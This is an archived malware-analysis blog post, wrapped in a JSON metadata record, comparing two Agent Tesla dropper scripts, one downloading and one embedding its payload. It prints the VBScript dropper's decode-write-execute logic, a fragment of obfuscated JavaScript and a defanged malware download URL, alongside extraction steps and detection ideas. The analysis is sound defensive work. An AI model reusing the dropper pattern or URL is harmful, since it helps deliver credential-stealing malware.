{
	"id": "ae174999-935f-4673-806d-0b0280b304ba",
	"created_at": "2026-04-06T00:13:14.819792Z",
	"updated_at": "2026-04-10T13:11:36.019871Z",
	"deleted_at": null,
	"sha1_hash": "dc9de26b00524b38d9479d42aeba0302bef812fd",
	"title": "A Tale of Two Dropper Scripts for Agent Tesla",
	"llm_title": "",
	"authors": "",
	"file_creation_date": "0001-01-01T00:00:00Z",
	"file_modification_date": "0001-01-01T00:00:00Z",
	"file_size": 687867,
	"plain_text": "A Tale of Two Dropper Scripts for Agent Tesla\r\nPublished: 2022-01-03 · Archived: 2026-04-05 15:08:52 UTC\r\nIn this post I want to look at two script files that drop Agent Tesla stealers on affected systems and show how adversary\r\ndecisions affect malware analysis and detection. If you want to follow along at home, I’m working with these samples from\r\nMalwareBazaar:\r\nhttps://bazaar.abuse.ch/sample/46dd53f3096877a4cad89b77f2d23018d8bc5887a9c0d699cb43ffe9d0b5e29d/\r\nhttps://bazaar.abuse.ch/sample/ac0517947c0be7baad44fb8f054215c00ada03bb61772bab9eb52e48a9c3a097/\r\nThe first script (hash starting with 46dd ) is crafted with love using obfuscated JavaScript and shows how an adversary\r\nmade the decision to download subsequent stages rather than embed into the script. The second script (hash starting with\r\nac05 ) is crafted with care using VBscript and shows another adversary choosing to embed a second stage into the script\r\nrather than trying to download more content.\r\nAdversary Path - Downloading Stages\r\nIn the downloading path, we can see that the script is fairly obfuscated, but brief:\r\n1 var _0x181193=_0x2d0f;(function(_0x2af778,_0x402c31){var _0x2500ec=_0x2d0f,_0x1384b3=_0x2af778();while(!![]){try{var _0x1e4494\r\nWe could potentially make this code prettier using a NodeJS REPL but the adversary chose to leave most of the essential\r\nstuff in plaintext for us. The strings MSXML2.XMLHTTP and hxxp://mudanzasdistintas[.]com.ar/vvt/td.exe indicate a\r\nsecond stage likely comes from a downloaded executable. The string shell['Run'] indicates the script likely launches that\r\nsecond stage at th end. While the script is relatively short, the majority of the script contents focus on obfuscation while not\r\nactually performing effective obfuscation. Since the adversary chose this route, we can make a few hypotheses:\r\nThe script is likely smaller\r\nThe script contains less details about subsequent stages\r\nA wscript or cscript process will spawn the downloaded content\r\nA wscript or cscript process will establish a network connection\r\nWe can test out these hypotheses using a combination of static analysis and a sandbox report. For file size, we can look at\r\nproperties using exiftool or filesystem tools like ls .\r\n1\r\n2\r\n3\r\n4\r\n5\r\n6\r\n7\r\n8\r\n9\r\n10\r\n11\r\n12\r\n13\r\n14\r\n15\r\n16\r\nremnux@remnux:~/cases/js-tesla$ exiftool documentos.js\r\nExifTool Version Number : 12.30\r\nFile Name : documentos.js\r\nDirectory : .\r\nFile Size : 1917 bytes\r\nFile Modification Date/Time : 2022:01:03 17:33:52-05:00\r\nFile Access Date/Time : 2022:01:03 17:11:34-05:00\r\nFile Inode Change Date/Time : 2022:01:03 12:36:18-05:00\r\nFile Permissions : -rw-r--r--\r\nFile Type : TXT\r\nFile Type Extension : txt\r\nMIME Type : text/plain\r\nMIME Encoding : us-ascii\r\nNewlines : (none)\r\nLine Count : 1\r\nWord Count : 21\r\nThis script weighs in at 1917 bytes, fairly small. From the Tria.ge sandbox report, we can also confirm wscript.exe makes\r\na network connection and at least one file modification to write the executable.\r\nhttps://forensicitguy.github.io/a-tale-of-two-dropper-scripts/\r\nPage 1 of 4\n\nIf we’re looking for detection ideas, we could look into analytics that involve wscript.exe making network connections as\r\nwell as file modifications.\r\nAdversary Path - Embedding Stages\r\nIn the sample that embeds a payload, we can first see that the script contains a lot of content.\r\n1\r\n2\r\n3\r\n4\r\n5\r\n6\r\n7\r\n8\r\n9\r\n10\r\n11\r\n12\r\n13\r\n14\r\n15\r\n16\r\n17\r\n18\r\n19\r\n20\r\n21\r\non error resume next\r\ndim medo,sea,medoff\r\ndim maasr\r\nset helper = createobject(\"Wscript.Shell\")\r\nmaasr = helper.ExpandEnvironmentStrings(\"%temp%\")\r\nset medo = CreateObject(\"Msxml2.DOMDocument.3.0\").CreateElement(\"base64\")\r\nmedo.dataType=\"bin.base64\"\r\nmedo.text=\"TVqQAAMAAAAEAAAA//\r\n...\r\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\r\nset sea= CreateObject(\"ADODB.Stream\")\r\nsea.Type=1\r\nsea.Open\r\nsea.Write medo.nodeTypedValue\r\nsea.SavetoFile maasr \u0026 \"\\anyname.exe\",2\r\nhelper.run(maasr \u0026 \"\\anyname.exe\")\r\nFunction tttttttttttttttt ()\r\ntttttttttttttttt = chr(104) \u0026 chr(101) \u0026 chr(114) \u0026 chr(111)\r\nEnd function\r\nI’ve included the first and last parts of the script for brevity, but the exiftool output shows a significantly larger size:\r\n1\r\n2\r\n3\r\n4\r\n5\r\n6\r\n7\r\n8\r\n9\r\nremnux@remnux:~/cases/tesla$ exiftool TGFTR.vbs\r\nExifTool Version Number : 12.30\r\nFile Name : TGFTR.vbs\r\nDirectory : .\r\nFile Size : 935 KiB\r\nFile Modification Date/Time : 2022:01:02 21:40:36-05:00\r\nFile Access Date/Time : 2022:01:03 17:27:22-05:00\r\nFile Inode Change Date/Time : 2022:01:02 16:42:17-05:00\r\nFile Permissions : -rw-r--r--\r\nhttps://forensicitguy.github.io/a-tale-of-two-dropper-scripts/\r\nPage 2 of 4\n\n10\r\n11\r\n12\r\n13\r\n14\r\n15\r\n16\r\nFile Type : TXT\r\nFile Type Extension : txt\r\nMIME Type : text/plain\r\nMIME Encoding : us-ascii\r\nNewlines : Windows CRLF\r\nLine Count : 17\r\nWord Count : 49\r\nThis script weighs in at 935KiB vs the first script’s 1917 bytes. This size difference is because the adversary chose to encode\r\nthe second stage in base64 and embed it within the script. In some instances, I’ve seen adversaries embed multiple binaries\r\ninto a script resulting in script sizes above 1MB. This helps the adversary avoid making network connections to get\r\nsubsequent stages, but it gives defenders some extra clues. First, large scripts are more suspicious for any defenders that go\r\nhunting. Also, the more content adversaries include within their scripts, the more likely they are to trip YARA rules. We can\r\nsee an example of this with these scripts.\r\n1\r\n2\r\n3\r\n4\r\nremnux@remnux:~/cases/tesla$ yara-rules TGFTR.vbs\r\nBase64_encoded_Executable TGFTR.vbs\r\nremnux@remnux:~/cases/tesla$ yara-rules ../js-tesla/documentos.js\r\nFor the VBscript containing the embedded stage, YARA detected an encoded Windows EXE. For the JS dropper that didn’t\r\nhave embedded content, YARA found nothing (although a custom ruleset would work better). For this demonstration I’m\r\nusing the default YARA rules included with REMnux.\r\nAn additional issue embedding poses for the adversary: once a malware analyst has the first stage script, they can extract the\r\nsubsequent versions easily, depending on the level of obfuscation. In this case, I could copy all of the content from TVqQ\r\nthrough the end of the string and paste it into its own file named mal.b64 . Then I used base64 -d to decode the file into a\r\nWindows EXE.\r\n1\r\n2\r\n3\r\n4\r\n5\r\n6\r\n7\r\n8\r\n9\r\n10\r\n11\r\n12\r\n13\r\n14\r\n15\r\n16\r\nremnux@remnux:~/cases/tesla$ base64 -d mal.b64 \u003e mal.bin\r\nremnux@remnux:~/cases/tesla$ file mal.bin\r\nmal.bin: PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows\r\nremnux@remnux:~/cases/tesla$ hexdump -C mal.bin | head\r\n00000000 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 |MZ..............|\r\n00000010 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 |........@.......|\r\n00000020 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|\r\n00000030 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 |................|\r\n00000040 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 |........!..L.!Th|\r\n00000050 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f |is program canno|\r\n00000060 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 |t be run in DOS |\r\n00000070 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 |mode....$.......|\r\n00000080 50 45 00 00 4c 01 03 00 fe f0 ce 61 00 00 00 00 |PE..L......a....|\r\n00000090 00 00 00 00 e0 00 02 01 0b 01 30 00 00 e8 0a 00 |..........0.....|\r\nSure enough, we can see the extracted material is a Windows EXE! If you’re looking for detection ideas for this path, you\r\ncan focus on the script content itself and use YARA, nework signatures, AV rules, and possibly behavioral analytics like\r\nwscript.exe spawning things it just wrote to disk.\r\nThanks for reading!\r\nhttps://forensicitguy.github.io/a-tale-of-two-dropper-scripts/\r\nPage 3 of 4\n\nSource: https://forensicitguy.github.io/a-tale-of-two-dropper-scripts/\r\nhttps://forensicitguy.github.io/a-tale-of-two-dropper-scripts/\r\nPage 4 of 4",
	"extraction_quality": 1,
	"language": "EN",
	"sources": [
		"Malpedia"
	],
	"origins": [
		"web"
	],
	"references": [
		"https://forensicitguy.github.io/a-tale-of-two-dropper-scripts/"
	],
	"report_names": [
		"a-tale-of-two-dropper-scripts"
	],
	"threat_actors": [],
	"ts_created_at": 1775434394,
	"ts_updated_at": 1775826696,
	"ts_creation_date": 0,
	"ts_modification_date": 0,
	"files": {
		"pdf": "https://archive.orkl.eu/dc9de26b00524b38d9479d42aeba0302bef812fd.pdf",
		"text": "https://archive.orkl.eu/dc9de26b00524b38d9479d42aeba0302bef812fd.txt",
		"img": "https://archive.orkl.eu/dc9de26b00524b38d9479d42aeba0302bef812fd.jpg"
	}
}